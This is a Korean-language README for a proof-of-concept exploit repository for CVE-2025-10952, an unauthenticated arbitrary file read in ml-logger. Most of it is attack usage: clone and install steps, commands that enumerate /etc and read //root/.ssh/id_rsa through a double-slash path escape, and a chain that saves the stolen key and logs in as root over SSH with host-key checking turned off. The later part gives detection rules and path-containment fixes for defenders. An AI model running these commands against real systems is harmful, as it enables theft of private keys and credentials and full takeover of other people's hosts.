
# CVE-2025-10952 PoC — ml-logger 인증 없는 임의 파일 읽기. CVSS 5.3
stream_handler 임의 파일 읽기이 저장소는 ml-logger의 stream_handler에서 인증되지 않은 임의 파일 읽기 취약점을 악용하고, 파일 시스템 열거를 위해 /glob 엔드포인트와 연계하는 독립형 Python 스크립트 — CVE-2025-10952.py — 를 제공합니다.
취약한 ml-logger 인스턴스에 대해 실행하면 다음을 수행합니다:
/glob 엔드포인트를 통해 대상 호스트의 파일을 열거합니다(인증 불필요, 의도된 범위 외 경로 제한 없음).key 매개변수를 제공하여 /stream 엔드포인트를 통해 임의 파일을 읽습니다.stream_handler는 클라이언트가 제공한 필드를 포함 여부 검사 없이 파일 경로 확인 및 스트리밍 호출에 직접 전달하므로, 인증되지 않은 네트워크 공격자는 서비스의 OS 사용자가 접근할 수 있는 모든 파일을 읽을 수 있습니다.
keyml_logger/server.py — stream_handler (파일 핸들러)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743까지의 모든 버전 (롤링 릴리스 프로젝트; 공개 시점에 수정 버전 미공개)stream_handler는 key 필드를 포함하는 JSON 본문을 수락하고 경로 정화 없이 파일 읽기 호출에 직접 전달합니다. 형제 glob_handler 엔드포인트는 부분적인 경로 제한(절대 경로 및 경로 탐색 차단)을 구현하지만, stream_handler는 해당 검증을 공유하지 않습니다 — key의 이중 선행 슬래시(예: //root/.ssh/id_rsa)는 의도된 기본 디렉터리를 벗어나기에 충분합니다.
ml-logger API 인스턴스에 대한 네트워크 접근git clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
파일 열거:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
임의 파일 읽기:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
읽고 디스크에 저장:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port는 기본적으로 8081로 설정되며, 이는 표준 배포에서 ml-logger의 파일 브로커 API 기본 포트입니다. 대시보드 프런트엔드는 일반적으로 별도 포트에서 제공되며 취약한 경로에 포함되지 않습니다.
/glob 엔드포인트가 Allow: POST와 함께 405 Method Not Allowed로 응답하는지 확인합니다 — 이를 통해 정적 대시보드 프런트엔드와 API 포트를 구분합니다.--glob으로 접근 가능한 경로를 열거하여 관심 있는 파일(SSH 키, 구성 파일, 자격 증명 저장소)을 매핑합니다.--read로 대상 파일을 검색합니다.ml-logger 서비스 포트로 향하는 .., 이중 선행 슬래시(//), 또는 절대 경로 접두사(/etc, /root, /proc)를 포함하는 key/path 스타일 JSON 필드에 대한 경고를 설정합니다.~/.ssh/, /etc/shadow, /etc/passwd에 대한 파일 무결성 또는 접근 모니터링은 ml-logger 프로세스 ID에서 발생하는 읽기를 플래그해야 합니다.ml-logger를 신뢰할 수 없는 네트워크에 노출하지 마십시오.stream_handler에서 경로 포함 제한(os.path.realpath() 확인을 허용 목록 기본 디렉터리와 대조)을 적용하고, 전용 권한 없는 OS 계정으로 서비스를 실행하십시오.이 저장소는 ml-logger의 인증되지 않은 정보 공개 취약점인 CVE-2025-10952에 대한 개념 증명 익스플로잇을 포함합니다. 이 코드는 소유하거나 테스트에 대한 명시적 승인을 받은 환경에서만 사용하십시오. 저자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
LICENSE를 참조하십시오.